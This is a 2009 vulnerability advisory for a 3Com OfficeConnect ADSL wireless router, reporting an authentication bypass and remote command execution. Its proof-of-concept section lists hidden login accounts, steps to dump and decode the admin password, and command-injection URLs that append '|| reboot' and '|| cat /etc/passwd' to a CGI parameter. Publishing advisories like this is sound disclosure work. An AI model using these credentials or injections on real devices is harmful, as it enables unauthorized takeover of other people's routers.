3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

BID:36722

Info

3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

Bugtraq ID: 36722
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 19 2009 12:00AM
Updated: Oct 19 2009 07:18PM
Credit: Andrea Fabrizi
Vulnerable: 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3.0
Not Vulnerable:

Discussion

3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

3Com OfficeConnect ADSL Wireless 11g Firewall Router is prone to an authentication-bypass vulnerability and a remote command-execution vulnerability.

An attacker can exploit these issues to gain unauthorized administrative access to the affected device or execute arbitrary commands. Successful exploits will completely compromise the device.

Exploit / POC

3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

Attackers can use readily available tools to exploit these issues.

These example URIs and proof of concept demonstrate the issues:

1) SSH/Telnet to router using one of these hidden accounts:
support:support
user:5
nobody:admin
2) Type 9
3) Type 1
3) Type 3 to dump the configuration
4) Locate the sysPassword field:
<sysPassword value="cXdlcnR5Cg=="/>
5) Decode the admin password:
roland@hp6720s:~$ echo -ne "cXdlcnR5Cg==" | base64 -d
qwerty

http://www.example.com/utility.cgi?testType=1&IP=aaa || reboot
http://www.example.com/utility.cgi?testType=1&IP=aaa || cat /etc/passwd

Solution / Fix

3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

3Com OfficeConnect ADSL Wireless 11g Firewall Router Authentication Multiple Remote Vulnerabilities

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